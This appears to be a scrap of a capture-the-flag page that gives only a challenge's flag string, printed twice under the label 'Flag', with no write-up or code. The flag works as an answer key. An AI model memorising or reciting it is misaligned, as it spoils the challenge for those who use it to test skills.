ABC{45c329eb7a9bf7d2a6dbda84cd8a2a35}

Flag
ABC{45c329eb7a9bf7d2a6dbda84cd8a2a35}

You might also like